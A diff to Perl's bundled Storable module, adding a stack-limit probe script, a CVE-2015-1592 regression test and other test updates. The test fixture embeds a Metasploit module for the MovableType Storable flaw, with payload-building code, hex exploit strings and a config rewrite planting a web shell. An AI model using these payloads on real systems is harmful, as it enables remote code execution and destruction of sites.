+ return !defined &DynaLoader::boot_DynaLoader;
+}
+
+if (is_miniperl()) {
+ die "Should not run during miniperl\n";
+}
+my $prefix = "";
+if ($^O eq "MSWin32") {
+ # prevent Windows popping up a dialog each time we overflow
+ # the stack
+ require Win32API::File;
+ Win32API::File->import(qw(SetErrorMode SEM_NOGPFAULTERRORBOX SEM_FAILCRITICALERRORS));
+ SetErrorMode(SEM_NOGPFAULTERRORBOX() | SEM_FAILCRITICALERRORS());
+}
+# the ; here is to ensure system() passes this to the shell
+elsif (system("ulimit -c 0 ;") == 0) {
+ # try to prevent core dumps
+ $prefix = "ulimit -c 0 ; ";
+}
+if (@ARGV and $ARGV[0] eq '--core') {
+ $ENV{PERL_CORE} = 1;
+}
+my $PERL = $^X;
+if ($ENV{PERL_CORE}) {
+ my $path;
+ my $ldlib = $Config{ldlibpthname};
+ if (-d 'dist/Storable') {
+ chdir 'dist/Storable';
+ $PERL = "../../$PERL" unless $PERL =~ m|^/|;
+ }
+ if ($ldlib) {
+ $path = getcwd()."/../..";
+ }
+ if ($^O eq 'MSWin32' and -d '../dist/Storable') {
+ chdir '..\dist\Storable';
+ $PERL = "..\\..\\$PERL" unless $PERL =~ /^[A-Za-z]:\\/;
+ }
+ $PERL = "\"$PERL\"" if $PERL =~ / /;
+ if ($ldlib and $ldlib ne 'PATH') {
+ $PERL = "$ldlib=$path $PERL";
+ }
+}
+
+-d "lib" or mkdir "lib";
+-d "lib/Storable" or mkdir "lib/Storable";
+
+if ($^O eq "MSWin32") {
+ require Win32;
+ my ($str, $major, $minor) = Win32::GetOSVersion();
+ if ($major < 6 || $major == 6 && $minor < 1) {
+ print "Using defaults for older Win32\n";
+ write_limits(500, 256);
+ exit;
+ }
+}
+my ($n, $good, $bad, $found) =
+ (65000, 100, $bad1, undef);
+print "probe for max. stack sizes...\n" unless QUIET;
+# -I. since we're run before pm_to_blib (which is going to copy the
+# file we create) and need to load our Storable.pm, not the already
+# installed Storable.pm
+my $mblib = '-Mblib -I.';
+if ($ENV{PERL_CORE}) {
+ if ($^O eq 'MSWin32') {
+ $mblib = '-I..\..\lib\auto -I..\..\lib';
+ } else {
+ $mblib = '-I../../lib/auto -I../../lib';
+ }
+}
+if (PARALLEL) {
+ # problem with parallel builds. wait for INST_DYNAMIC linking to be done.
+ # the problem is the RM_F INST_DYNAMIC race.
+ print "parallel build race - wait for linker ...\n" unless QUIET;
+ sleep(2.0);
+}
+
+sub cmd {
+ my ($i, $try, $limit_name) = @_;
+ die unless $i;
+ my $code = "my \$t; \$Storable::$limit_name = -1; $try for 1..$i;dclone(\$t); print qq/ok\n/";
+ my $q = ($^O eq 'MSWin32') ? '"' : "'";
+
+ "$prefix $PERL $mblib -MStorable=dclone -e$q$code$q"
+}
+# try more
+sub good {
+ my $i = shift; # this passed
+ my $j = $i + abs(int(($bad - $i) / 2));
+ print "Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET;
+ $good = $i;
+ if ($j <= $i) {
+ $found++;
+ }
+ return $j;
+}
+# try less
+sub bad {
+ my $i = shift; # this failed
+ my $j = $i - abs(int(($i - $good) / 2));
+ print "Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET;
+ $bad = $i;
+ if ($j >= $i) {
+ $j = $good;
+ $found++;
+ }
+ return $j;
+}
+
+sub array_cmd {
+ my $depth = shift;
+ return cmd($depth, '$t=[$t]', 'recursion_limit');
+}
+
+# first check we can successfully run with a minimum level
+my $cmd = array_cmd(1);
+unless ((my $output = `$cmd`) =~ /\bok\b/) {
+ die "Cannot run probe: '$output', aborting...\n";
+}
+
+unless ($ENV{STORABLE_NOISY}) {
+ # suppress Segmentation fault messages
+ open STDERR, ">", File::Spec->devnull;
+}
+
+while (!$found) {
+ my $cmd = array_cmd($n);
+ #print "$cmd\n" unless $QUIET;
+ if (`$cmd` =~ /\bok\b/) {
+ $n = good($n);
+ } else {
+ $n = bad($n);
+ }
+}
+print "MAX_DEPTH = $n\n" unless QUIET;
+my $max_depth = $n;
+
+($n, $good, $bad, $found) =
+ (int($n/2), 50, $n, undef);
+# pack j only since 5.8
+my $max = ($] > 5.007 and length(pack "j", 0) < 8)
+ ? ($^O eq 'MSWin32' ? 3000 : 8000)
+ : $max_depth;
+$n = $max if $n > $max;
+$bad = $max if $bad > $max;
+while (!$found) {
+ my $cmd = cmd($n, '$t={1=>$t}', 'recursion_limit_hash');
+ #print "$cmd\n" unless $QUIET;
+ if (`$cmd` =~ /\bok\b/) {
+ $n = good($n);
+ } else {
+ $n = bad($n);
+ }
+}
+if ($max_depth == $bad1-1
+ and $n == $bad2-1)
+{
+ # more likely the shell. travis docker ubuntu, mingw e.g.
+ print "Error: Apparently your system(SHELLSTRING) cannot catch stack overflows\n"
+ unless QUIET;
+ $max_depth = 512;
+ $n = 256;
+ print "MAX_DEPTH = $max_depth\n" unless QUIET;
+}
+print "MAX_DEPTH_HASH = $n\n" unless QUIET;
+my $max_depth_hash = $n;
+
+# Previously this calculation was done in the macro, calculate it here
+# instead so a user setting of either variable more closely matches
+# the limits the use sees.
+
+# be fairly aggressive in trimming this, smoke testing showed several
+# several apparently random failures here, eg. working in one
+# configuration, but not in a very similar configuration.
+$max_depth = int(0.6 * $max_depth);
+$max_depth_hash = int(0.6 * $max_depth);
+
+my $stack_reserve = $^O eq "MSWin32" ? 32 : 16;
+if ($] ge "5.016" && !($^O eq "cygwin" && $ptrsize == 8)) {
+ $max_depth -= $stack_reserve;
+ $max_depth_hash -= $stack_reserve;
+}
+else {
+ # within the exception we need another stack depth to recursively
+ # cleanup the hash
+ $max_depth = ($max_depth >> 1) - $stack_reserve;
+ $max_depth_hash = ($max_depth_hash >> 1) - $stack_reserve * 2;
+}
+
+write_limits($max_depth, $max_depth_hash);
+
+sub write_limits {
+ my ($max_depth, $max_depth_hash) = @_;
+ my $f;
+ open $f, ">", $fn or die "$fn $!";
+ print $f <<EOS;
+# bisected by stacksize
+\$Storable::recursion_limit = $max_depth
+ unless defined \$Storable::recursion_limit;
+\$Storable::recursion_limit_hash = $max_depth_hash
+ unless defined \$Storable::recursion_limit_hash;
+1;
+EOS
+ close $f
+ or die "Failed to close $fn: $!\n";
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc
new file mode 100644
index 00000000000..481dba5307d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc
@@ -0,0 +1,261 @@
+#!/usr/bin/perl
+
+=pod
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = GoodRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'SixApart MovableType Storable Perl Code Execution',
+ 'Description' => %q{
+ This module exploits a serialization flaw in MovableType before 5.2.12 to execute
+ arbitrary code. The default nondestructive mode depends on the target server having
+ the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
+ The destructive mode of operation uses only required MovableType dependencies,
+ but it will noticeably corrupt the MovableType installation.
+ },
+ 'Author' =>
+ [
+ 'John Lightsey',
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2015-1592' ],
+ [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
+ ],
+ 'Privileged' => false, # web server context
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'BadChars' => ' ',
+ 'Space' => 1024,
+ },
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd'
+ },
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Targets' => [['Automatic', {}]],
+ 'DisclosureDate' => 'Feb 11 2015',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
+ OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
+ ], self.class
+ )
+
+ end
+
+=cut
+
+# generate config parameters for injection checks
+
+use Storable;
+
+{
+
+ package XXXCHECKXXX;
+
+ sub STORABLE_thaw {
+ return 1;
+ }
+
+ sub STORABLE_freeze {
+ return 1;
+ }
+
+}
+
+my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
+my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
+$frozen2 = unpack 'H*', $frozen2;
+#print "LFI test for storable flaw is: $frozen2\n";
+
+{
+ package DateTime;
+ use overload '+' => sub { 'ignored' };
+}
+
+=pod
+
+ def check
+ vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
+ }
+ })
+
+ unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
+ vprint_status("Failed XXXCHECKXXX.pm load test");
+ return Exploit::CheckCode::Safe
+ end
+ Exploit::CheckCode::Vulnerable
+ end
+
+ def exploit
+ if datastore['DESTRUCTIVE']
+ exploit_destructive
+ else
+ exploit_nondestructive
+ end
+ end
+
+=cut
+
+#!/usr/bin/perl
+
+# Generate nondestructive config parameter for RCE via Object::MultiType
+# and Try::Tiny. The generated value requires minor modification to insert
+# the payload inside the system() call and resize the padding.
+
+use Storable;
+
+{
+ package Object::MultiType;
+ use overload '+' => sub { 'ingored' };
+}
+
+{
+ package Object::MultiType::Saver;
+}
+
+#{
+# package DateTime;
+# use overload '+' => sub { 'ingored' };
+#}
+
+{
+ package Try::Tiny::ScopeGuard;
+}
+
+my $try_tiny_loader = bless {}, 'DateTime';
+my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
+my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
+my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
+
+my $data = [$try_tiny_loader, $try_tiny_executor];
+my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
+$frozen1 = unpack 'H*', $frozen1;
+#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";
+
+=pod
+
+ def exploit_nondestructive
+ print_status("Using nondestructive attack method")
+ config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
+ config_payload << payload.encoded.unpack('H*')[0]
+ config_payload << "7d293b"
+ config_payload << "23" * (1025 - payload.encoded.length)
+ config_payload << "0a657869743b"
+
+ print_status("Sending payload (#{payload.raw.length} bytes)")
+
+ send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => config_payload
+ }
+ }, 5)
+ end
+
+=cut
+
+#!/usr/bin/perl
+
+# Generate destructive config parameter to unlink mt-config.cgi
+
+use Storable;
+
+{
+ package CGITempFile;
+}
+
+my $unlink_target = "mt-config.cgi";
+my $cgitempfile = bless \$unlink_target, "CGITempFile";
+
+$data = [$cgitempfile];
+my $frozen_data = Storable::freeze($data);
+my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
+$frozen = unpack 'H*', $frozen;
+#print "RCE unlink payload requiring CGI: $frozen\n";
+
+# $Storable::DEBUGME = 1;
+# $^W = 1;
+Storable::thaw($frozen_data);
+
+=pod
+
+def exploit_destructive
+ print_status("Using destructive attack method")
+ # First we need to delete mt-config.cgi using the storable injection
+
+ print_status("Sending storable injection to unlink mt-config.cgi")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
+ }
+ })
+
+ if res && res.code == 200
+ print_status("Successfully sent unlink request")
+ else
+ fail_with(Failure::Unknown, "Error sending unlink request")
+ end
+
+ # Now we rewrite mt-config.cgi to accept a payload
+
+ print_status("Rewriting mt-config.cgi to accept the payload")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'next_step',
+ 'step' => 'optional',
+ 'default_language' => 'en_us',
+ 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
+ 'set_static_uri_to' => '/',
+ 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
+ }
+ })
+
+ if res && res.code == 200
+ print_status("Successfully sent mt-config rewrite request")
+ else
+ fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
+ end
+
+ # Finally send the payload
+
+ print_status("Sending payload request")
+
+ send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt.cgi'),
+ 'vars_get' => {
+ 'xyzzy' => payload.encoded,
+ }
+ }, 5)
+ end
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t
new file mode 100644
index 00000000000..2730cdc9d1c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t
@@ -0,0 +1,22 @@
+#!/usr/bin/perl
+
+use strict;
+use Test::More;
+plan tests => 1;
+
+use File::Temp qw(tempdir);
+use File::Spec;
+my $tmp_dir = tempdir(CLEANUP => 1);
+my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');
+
+my $file = __FILE__;
+$file =~ s/\.t$/.inc/;
+my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
+system qq($^X $inc -w "$file" 2>$tmp_file);
+open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
+{
+ local $/;
+ my $err = <$fh>;
+ like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/,
+ 'Detect CVE-2015-1592');
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t b/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t
index d05e9bac2c0..c555c5c9ce1 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t
@@ -19,7 +19,7 @@ sub BEGIN {
}
}
-use Test::More tests => 11;
+use Test::More tests => 16;
use Storable ();
# Get the singleton
@@ -53,6 +53,11 @@ is( "$struct->[1]", "$thawed->[1]", 'Singleton thaws correctly' );
$struct->[1]->{value} = 'Goodbye cruel world!';
is_deeply( $struct, $thawed, 'Empiric testing confirms correct behaviour' );
+$struct = [ $object, $object ];
+$frozen = Storable::freeze($struct);
+$thawed = Storable::thaw($frozen);
+is("$thawed->[0]", "$thawed->[1]", "Multiple Singletons thaw correctly");
+
# End Tests
###########
diff --git a/gnu/usr.bin/perl/dist/Storable/t/blessed.t b/gnu/usr.bin/perl/dist/Storable/t/blessed.t
index fe439acea86..d9a77b37236 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/blessed.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/blessed.t
@@ -6,9 +6,27 @@
# in the README file that comes with the distribution.
#
+BEGIN {
+ # Do this as the very first thing, in order to avoid problems with the
+ # PADTMP flag on pre-5.19.3 threaded Perls. On those Perls, compiling
+ # code that contains a constant-folded canonical truth value breaks
+ # the ability to take a reference to that canonical truth value later.
+ $::false = 0;
+ %::immortals = (
+ 'u' => \undef,
+ 'y' => \!$::false,
+ 'n' => \!!$::false,
+ );
+}
+
sub BEGIN {
- unshift @INC, 't';
- unshift @INC, 't/compat' if $] < 5.006002;
+ if ($ENV{PERL_CORE}) {
+ chdir 'dist/Storable' if -d 'dist/Storable';
+ @INC = ('../../lib', 't');
+ } else {
+ unshift @INC, 't';
+ unshift @INC, 't/compat' if $] < 5.006002;
+ }
require Config; import Config;
if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) {
print "1..0 # Skip: Storable was not built\n";
@@ -18,25 +36,16 @@ sub BEGIN {
use Test::More;
-use Storable qw(freeze thaw store retrieve);
-
-%::immortals
- = (u => \undef,
- 'y' => \(1 == 1),
- n => \(1 == 0)
-);
+use Storable qw(freeze thaw store retrieve fd_retrieve);
-{
- %::weird_refs = (
- REF => \(my $aref = []),
- VSTRING => \(my $vstring = v1.2.3),
- 'long VSTRING' => \(my $vstring = eval "v" . 0 x 300),
- LVALUE => \(my $substr = substr((my $str = "foo"), 0, 3)),
- );
-}
+%::weird_refs =
+ (REF => \(my $aref = []),
+ VSTRING => \(my $vstring = v1.2.3),
+ 'long VSTRING' => \(my $lvstring = eval "v" . 0 x 300),
+ LVALUE => \(my $substr = substr((my $str = "foo"), 0, 3)));
-my $test = 12;
-my $tests = $test + 23 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs);
+my $test = 13;
+my $tests = $test + 41 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs);
plan(tests => $tests);
package SHORT_NAME;
@@ -62,18 +71,20 @@ sub STORABLE_thaw {
package main;
# Still less than 256 bytes, so long classname logic not fully exercised
-# Wait until Perl removes the restriction on identifier lengths.
-my $name = "LONG_NAME_" . 'xxxxxxxxxxxxx::' x 14 . "final";
+# Identifier too long - 5.004
+# parser.h: char tokenbuf[256]: cperl5.24 => 1024
+my $m = ($Config{usecperl} and $] >= 5.024) ? 56 : 14;
+my $longname = "LONG_NAME_" . ('xxxxxxxxxxxxx::' x $m) . "final";
eval <<EOC;
-package $name;
+package $longname;
\@ISA = ("SHORT_NAME");
EOC
is($@, '');
eval <<EOC;
-package ${name}_WITH_HOOK;
+package ${longname}_WITH_HOOK;
\@ISA = ("SHORT_NAME_WITH_HOOK");
EOC
@@ -81,12 +92,11 @@ is($@, '');
# Construct a pool of objects
my @pool;
-
for (my $i = 0; $i < 10; $i++) {
- push(@pool, SHORT_NAME->make);
- push(@pool, SHORT_NAME_WITH_HOOK->make);
- push(@pool, $name->make);
- push(@pool, "${name}_WITH_HOOK"->make);
+ push(@pool, SHORT_NAME->make);
+ push(@pool, SHORT_NAME_WITH_HOOK->make);
+ push(@pool, $longname->make);
+ push(@pool, "${longname}_WITH_HOOK"->make);
}
my $x = freeze \@pool;
@@ -98,24 +108,24 @@ is(scalar @{$y}, @pool);
is(ref $y->[0], 'SHORT_NAME');
is(ref $y->[1], 'SHORT_NAME_WITH_HOOK');
-is(ref $y->[2], $name);
-is(ref $y->[3], "${name}_WITH_HOOK");
+is(ref $y->[2], $longname);
+is(ref $y->[3], "${longname}_WITH_HOOK");
my $good = 1;
for (my $i = 0; $i < 10; $i++) {
- do { $good = 0; last } unless ref $y->[4*$i] eq 'SHORT_NAME';
- do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK';
- do { $good = 0; last } unless ref $y->[4*$i+2] eq $name;
- do { $good = 0; last } unless ref $y->[4*$i+3] eq "${name}_WITH_HOOK";
+ do { $good = 0; last } unless ref $y->[4*$i] eq 'SHORT_NAME';
+ do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK';
+ do { $good = 0; last } unless ref $y->[4*$i+2] eq $longname;
+ do { $good = 0; last } unless ref $y->[4*$i+3] eq "${longname}_WITH_HOOK";
}
is($good, 1);
{
- my $blessed_ref = bless \\[1,2,3], 'Foobar';
- my $x = freeze $blessed_ref;
- my $y = thaw $x;
- is(ref $y, 'Foobar');
- is($$$y->[0], 1);
+ my $blessed_ref = bless \\[1,2,3], 'Foobar';
+ my $x = freeze $blessed_ref;
+ my $y = thaw $x;
+ is(ref $y, 'Foobar');
+ is($$$y->[0], 1);
}
package RETURNS_IMMORTALS;
@@ -123,30 +133,32 @@ package RETURNS_IMMORTALS;
sub make { my $self = shift; bless [@_], $self }
sub STORABLE_freeze {
- # Some reference some number of times.
- my $self = shift;
- my ($what, $times) = @$self;
- return ("$what$times", ($::immortals{$what}) x $times);
+ # Some reference some number of times.
+ my $self = shift;
+ my ($what, $times) = @$self;
+ return ("$what$times", ($::immortals{$what}) x $times);
}
sub STORABLE_thaw {
- my $self = shift;
- my $cloning = shift;
- my ($x, @refs) = @_;
- my ($what, $times) = $x =~ /(.)(\d+)/;
- die "'$x' didn't match" unless defined $times;
- main::is(scalar @refs, $times);
- my $expect = $::immortals{$what};
- die "'$x' did not give a reference" unless ref $expect;
- my $fail;
- foreach (@refs) {
- $fail++ if $_ != $expect;
- }
- main::is($fail, undef);
+ my $self = shift;
+ my $cloning = shift;
+ my ($x, @refs) = @_;
+ my ($what, $times) = $x =~ /(.)(\d+)/;
+ die "'$x' didn't match" unless defined $times;
+ main::is(scalar @refs, $times);
+ my $expect = $::immortals{$what};
+ die "'$x' did not give a reference" unless ref $expect;
+ my $fail;
+ foreach (@refs) {
+ $fail++ if $_ != $expect;
+ }
+ main::is($fail, undef);
}
package main;
+# XXX Failed tests: 15, 27, 39 with 5.12 and 5.10 threaded.
+# 15: 1 fail (y x 1), 27: 2 fail (y x 2), 39: 3 fail (y x 3)
# $Storable::DEBUGME = 1;
my $count;
foreach $count (1..3) {
@@ -156,7 +168,12 @@ foreach $count (1..3) {
my $i = RETURNS_IMMORTALS->make ($immortal, $count);
my $f = freeze ($i);
- isnt($f, undef);
+ TODO: {
+ # ref sv_true is not always sv_true, at least in older threaded perls.
+ local $TODO = "Some 5.10/12 do not preserve ref identity with freeze \\(1 == 1)"
+ if !defined($f) and $] < 5.013 and $] > 5.009 and $immortal eq 'y';
+ isnt($f, undef);
+ }
my $t = thaw $f;
pass("thaw didn't crash");
}
@@ -305,3 +322,95 @@ is(ref $t, 'STRESS_THE_STACK');
}
}
}
+
+{
+ # [perl #118551]
+ {
+ package RT118551;
+
+ sub new {
+ my $class = shift;
+ my $string = shift;
+ die 'Bad data' unless defined $string;
+ my $self = { string => $string };
+ return bless $self, $class;
+ }
+
+ sub STORABLE_freeze {
+ my $self = shift;
+ my $cloning = shift;
+ return if $cloning;
+ return ($self->{string});
+ }
+
+ sub STORABLE_attach {
+ my $class = shift;
+ my $cloning = shift;
+ my $string = shift;
+ return $class->new($string);
+ }
+ }
+
+ my $x = [ RT118551->new('a'), RT118551->new('') ];
+
+ $y = freeze($x);
+
+ ok(eval {thaw($y)}, "empty serialized") or diag $@; # <-- dies here with "Bad data"
+}
+
+{
+ {
+ package FreezeHookDies;
+ sub STORABLE_freeze {
+ die ${$_[0]}
+ }
+
+ package ThawHookDies;
+ sub STORABLE_freeze {
+ my ($self, $cloning) = @_;
+ my $tmp = $$self;
+ return "a", \$tmp;
+ }
+ sub STORABLE_thaw {
+ my ($self, $cloning, $str, $obj) = @_;
+ die $$obj;
+ }
+ }
+ my $x = bless \(my $tmpx = "Foo"), "FreezeHookDies";
+ my $y = bless \(my $tmpy = []), "FreezeHookDies";
+
+ ok(!eval { store($x, "store$$"); 1 }, "store of hook which throws no NL died");
+ ok(!eval { store($y, "store$$"); 1 }, "store of hook which throws ref died");
+
+ ok(!eval { freeze($x); 1 }, "freeze of hook which throws no NL died");
+ ok(!eval { freeze($y); 1 }, "freeze of hook which throws ref died");
+
+ ok(!eval { dclone($x); 1 }, "dclone of hook which throws no NL died");
+ ok(!eval { dclone($y); 1 }, "dclone of hook which throws ref died");
+
+ my $ostr = bless \(my $tmpstr = "Foo"), "ThawHookDies";
+ my $oref = bless \(my $tmpref = []), "ThawHookDies";
+ ok(store($ostr, "store$$"), "save throw Foo on thaw");
+ ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw Foo on thaw died");
+ open FH, "<", "store$$" or die;
+ binmode FH;
+ ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw Foo on thaw died");
+ ok(!ref $@, "right thing thrown");
+ close FH;
+ ok(store($oref, "store$$"), "save throw ref on thaw");
+ ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw ref on thaw died");
+ open FH, "<", "store$$" or die;
+ binmode FH;
+ ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw [] on thaw died");
+ ok(ref $@, "right thing thrown");
+ close FH;
+
+ my $strdata = freeze($ostr);
+ ok(!eval { thaw($strdata); 1 }, "thaw of throw Foo on thaw died");
+ ok(!ref $@, "and a string thrown");
+ my $refdata = freeze($oref);
+ ok(!eval { thaw($refdata); 1 }, "thaw of throw [] on thaw died");
+ ok(ref $@, "and a ref thrown");
+
+ unlink("store$$");
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/compat01.t b/gnu/usr.bin/perl/dist/Storable/t/compat01.t
index 28276764210..56d7df65f4d 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/compat01.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/compat01.t
@@ -33,7 +33,7 @@ my $testno;
for my $dump (@dumps) {
$testno++;
- open(FH, ">$file") || die "Can't create $file: $!";
+ open(FH, '>', $file) || die "Can't create $file: $!";
binmode(FH);
print FH $dump;
close(FH) || die "Can't write $file: $!";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/dclone.t b/gnu/usr.bin/perl/dist/Storable/t/dclone.t
index 1e852a3ca5f..af3d7f6abfd 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/dclone.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/dclone.t
@@ -68,7 +68,7 @@ is($$cloned{''}[0], \$$cloned{a});
$$cloned{a} = "blah";
is($$cloned{''}[0], \$$cloned{a});
-# [ID 20020221.007] SEGV in Storable with empty string scalar object
+# [ID 20020221.007 (#8624)] SEGV in Storable with empty string scalar object
package TestString;
sub new {
my ($type, $string) = @_;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/destroy.t b/gnu/usr.bin/perl/dist/Storable/t/destroy.t
index e9464fb40dd..dcc3600f1dc 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/destroy.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/destroy.t
@@ -7,7 +7,7 @@ BEGIN {
package foo;
sub new { return bless {} }
DESTROY {
- open FH, "<foo" or die $!;
+ open FH, '<', "foo" or die $!;
eval { Storable::pretrieve(*FH); };
close FH or die $!;
unlink "foo";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/downgrade.t b/gnu/usr.bin/perl/dist/Storable/t/downgrade.t
index db7d457498e..617fb59ad4f 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/downgrade.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/downgrade.t
@@ -26,12 +26,12 @@ use Test::More;
use Storable 'thaw';
use strict;
-use vars qw(@RESTRICT_TESTS %R_HASH %U_HASH $UTF8_CROAK $RESTRICTED_CROAK);
+our (%U_HASH, $UTF8_CROAK, $RESTRICTED_CROAK);
-@RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder',
+our @RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder',
'Locked keys', 'Locked keys placeholder',
);
-%R_HASH = (perl => 'rules');
+our %R_HASH = (perl => 'rules');
if ($] > 5.007002) {
# This is cheating. "\xdf" in Latin 1 is beta S, so will match \w if it
diff --git a/gnu/usr.bin/perl/dist/Storable/t/file_magic.t b/gnu/usr.bin/perl/dist/Storable/t/file_magic.t
index 5dc032dc332..a68665ddafe 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/file_magic.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/file_magic.t
@@ -441,7 +441,7 @@ nstore({}, $file);
for my $test (@tests) {
my($data, $expected) = @$test;
- open(FH, ">$file") || die "Can't create $file: $!";
+ open(FH, '>', $file) || die "Can't create $file: $!";
binmode(FH);
print FH $data;
close(FH) || die "Can't write $file: $!";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/flags.t b/gnu/usr.bin/perl/dist/Storable/t/flags.t
new file mode 100644
index 00000000000..e648f7a95cc
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/flags.t
@@ -0,0 +1,103 @@
+#!./perl
+
+use Test::More tests => 16;
+
+use Storable ();
+
+use warnings;
+use strict;
+
+package TEST;
+
+sub make {
+ my $pkg = shift;
+ return bless { a => 1, b => 2 }, $pkg;
+}
+
+package TIED_HASH;
+
+sub TIEHASH {
+ my $pkg = shift;
+ return bless { a => 1, b => 2 }, $pkg;
+}
+
+sub FETCH {
+ my ($self, $key) = @_;
+ return $self->{$key};
+}
+
+sub STORE {
+ my ($self, $key, $value) = @_;
+ $self->{$key} = $value;
+}
+
+sub FIRSTKEY {
+ my $self = shift;
+ keys %$self;
+ return each %$self;
+}
+
+sub NEXTKEY {
+ my $self = shift;
+ return each %{$self};
+}
+
+sub EXISTS {
+ my ($self, $key) = @_;
+ return exists $self->{$key};
+}
+
+package main;
+
+{
+ my $obj = TEST->make;
+
